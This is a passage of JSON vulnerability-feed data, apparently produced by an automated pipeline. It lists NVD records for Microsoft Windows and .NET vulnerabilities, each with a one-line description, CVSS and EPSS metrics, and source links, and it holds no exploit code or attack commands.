buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:00.910Z","updatedAt":"2026-10-16T16:21:09.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83580","asOf":"2026-10-16T16:21:09.243Z"},"epss":{"probability":0.00326,"percentile":0.25457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83580&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83580","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83580","type":"primary","publishedAt":"2026-10-13T19:20:00.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83580&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83580, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83579","cveId":"CVE-2026-83579","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Smart Card allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Smart Card allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Smart Card allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:00.683Z","updatedAt":"2026-10-17T04:16:54.447Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83579","asOf":"2026-10-17T04:16:54.447Z"},"epss":{"probability":0.00388,"percentile":0.32604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83579&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83579","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83579","type":"primary","publishedAt":"2026-10-13T19:20:00.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83579&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83579, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83575","cveId":"CVE-2026-83575","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:00.243Z","updatedAt":"2026-10-16T16:21:08.727Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83575","asOf":"2026-10-16T16:21:08.727Z"},"epss":{"probability":0.00307,"percentile":0.2326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83575&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83575","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83575","type":"primary","publishedAt":"2026-10-13T19:20:00.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83575&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83575, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83574","cveId":"CVE-2026-83574","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:00.047Z","updatedAt":"2026-10-16T16:21:08.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83574","asOf":"2026-10-16T16:21:08.557Z"},"epss":{"probability":0.00307,"percentile":0.2326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83574&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83574","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83574","type":"primary","publishedAt":"2026-10-13T19:20:00.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83574&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83574, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83570","cveId":"CVE-2026-83570","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:59.510Z","updatedAt":"2026-10-16T16:21:08.047Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83570","asOf":"2026-10-16T16:21:08.047Z"},"epss":{"probability":0.00388,"percentile":0.32604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83570&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83570","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83570","type":"primary","publishedAt":"2026-10-13T19:19:59.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83570&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83570, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83569","cveId":"CVE-2026-83569","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in HID Parser Library allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in HID Parser Library allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in HID Parser Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:59.357Z","updatedAt":"2026-10-16T16:21:07.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83569","asOf":"2026-10-16T16:21:07.900Z"},"epss":{"probability":0.00373,"percentile":0.30972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83569&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83569","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83569","type":"primary","publishedAt":"2026-10-13T19:19:59.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83569&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83569, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83568","cveId":"CVE-2026-83568","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:59.230Z","updatedAt":"2026-10-13T21:18:26.233Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83568","asOf":"2026-10-13T21:18:26.233Z"},"epss":{"probability":0.00346,"percentile":0.27908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83568&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83568","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83568","type":"primary","publishedAt":"2026-10-13T19:19:59.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83568&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83568, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83567","cveId":"CVE-2026-83567","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:59.057Z","updatedAt":"2026-10-16T16:21:07.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83567","asOf":"2026-10-16T16:21:07.657Z"},"epss":{"probability":0.00388,"percentile":0.32608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83567&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83567","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83567","type":"primary","publishedAt":"2026-10-13T19:19:59.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83567&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83567, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83566","cveId":"CVE-2026-83566","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:58.930Z","updatedAt":"2026-10-14T04:18:38.257Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83566","asOf":"2026-10-14T04:18:38.257Z"},"epss":{"probability":0.00307,"percentile":0.23263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83566&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83566","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83566","type":"primary","publishedAt":"2026-10-13T19:19:58.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83566&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83566, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83564","cveId":"CVE-2026-83564","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:58.570Z","updatedAt":"2026-10-16T16:21:07.260Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83564","asOf":"2026-10-16T16:21:07.260Z"},"epss":{"probability":0.00307,"percentile":0.23265,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83564&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83564","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83564","type":"primary","publishedAt":"2026-10-13T19:19:58.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83564&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83564, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83523","cveId":"CVE-2026-83523","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Image Acquisition allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Image Acquisition allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Image Acquisition allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:58.450Z","updatedAt":"2026-10-13T21:18:25.477Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83523","asOf":"2026-10-13T21:18:25.477Z"},"epss":{"probability":0.00948,"percentile":0.60928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83523&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83523","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83523","type":"primary","publishedAt":"2026-10-13T19:19:58.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83523&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83523, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83522","cveId":"CVE-2026-83522","aliases":[],"kind":"vulnerability","title":"Reliance on untrusted inputs in a security decision in Windows IKE Extension allows an unauthorized attacker to perform spoofing over a network.","summary":"Reliance on untrusted inputs in a security decision in Windows IKE Extension allows an unauthorized attacker to perform spoofing over a network.","detail":"Reliance on untrusted inputs in a security decision in Windows IKE Extension allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:58.267Z","updatedAt":"2026-10-16T16:21:07.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83522","asOf":"2026-10-16T16:21:07.020Z"},"epss":{"probability":0.00819,"percentile":0.56907,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83522&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83522","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83522","type":"primary","publishedAt":"2026-10-13T19:19:58.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83522&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83522, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83520","cveId":"CVE-2026-83520","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:57.933Z","updatedAt":"2026-10-22T22:18:48.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83520","asOf":"2026-10-22T22:18:48.310Z"},"epss":{"probability":0.01435,"percentile":0.72917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83520&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83520","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83520","type":"primary","publishedAt":"2026-10-13T19:19:57.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83520&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83520, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83518","cveId":"CVE-2026-83518","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in RPC Runtime allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in RPC Runtime allows an authorized attacker to elevate privileges 